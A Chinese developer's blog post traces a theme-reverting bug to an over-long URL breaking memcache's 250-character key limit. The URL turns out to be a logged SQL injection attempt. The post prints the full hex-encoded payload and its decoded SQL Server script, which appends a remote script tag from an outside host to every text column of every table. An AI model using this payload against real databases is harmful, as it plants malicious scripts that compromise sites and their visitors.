一件很囧的事情
昨天把实现了 memcache 的代码更新到服务器上,然后选了另一个 theme,然后过了一会发现竟然变回了默认的 theme。我想可能是因为每次更新都会重新加载模块文件,然后可能还有缓存的原因……具体没多想,于是又重新设置了一遍 theme,然后就去睡觉了。
躺下之后感觉还是不对劲,应该不会出现这种问题的……后来睡着了,还梦到我查到 bug 来着。。。。
今天上午到公司打开一看,发现竟然又变成了默认主题。然后重新设置了一次,过了一会果然又变回去了。比较囧的是,由于缓存的作用,导致一些页面是新主题,另一些页面是默认主题。。。更囧的是,在自己的机器上运行就没有问题,如何都重现不了……
中午寝食难安,开始改代码,在所有认为可能出现问题的地方加上了 logging,然后做了个页面随时查看有关的全局变量,然后上传代码
两个小时之后,问题终于重现了,赶紧去看 log,发现是在 render 的时候出现了问题:
之前为了防止 theme 文件被意外修改而导致页面完全不能显示,我在 render 抛出异常之后把当前的 theme 改成了 default。但是现在呢,我在 render 里面加上了 memcache 的逻辑:把当前的 url 作为 key,把生成的 html 存到 memcache 里面。问题就出在这里:memcache 的 key 的最大长度是 250,url 的长度超过了这个数,导致 memcache.set 方法抛出异常,而外层处理发现 render 出问题了,把主题变成安全的默认主题了(这是我的错,之前只考虑了 theme 文件导致的异常)。
但问题是:为什么会出现这么长的 url?我查了一下 log, 发现有这么一个访问记录:
/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B275D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
看了一下内容,感觉有点像 SQL,于是放到 Sql Server 2005 里面执行了一下,发现最后是执行这么一个 SQL 语句:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"></title><script src="http://js.users.51.la/1981162.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://js.users.51.la/1981162.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我没仔细研究这段 SQL,但是可以确定的是,这是在试图进行 SQL 注入攻击。而且是针对某 sql server 系统的攻击。没调查这个访问是哪里来的,也不知道那个 js.users.51.la 是什么来头。总之 bug 原因是找到了。
当然,plog 不会被这样的访问攻击,但是由于它的 url 太长,让我暴露了另一个 BUG……
晚上回去修复,先用着默认主题吧。。。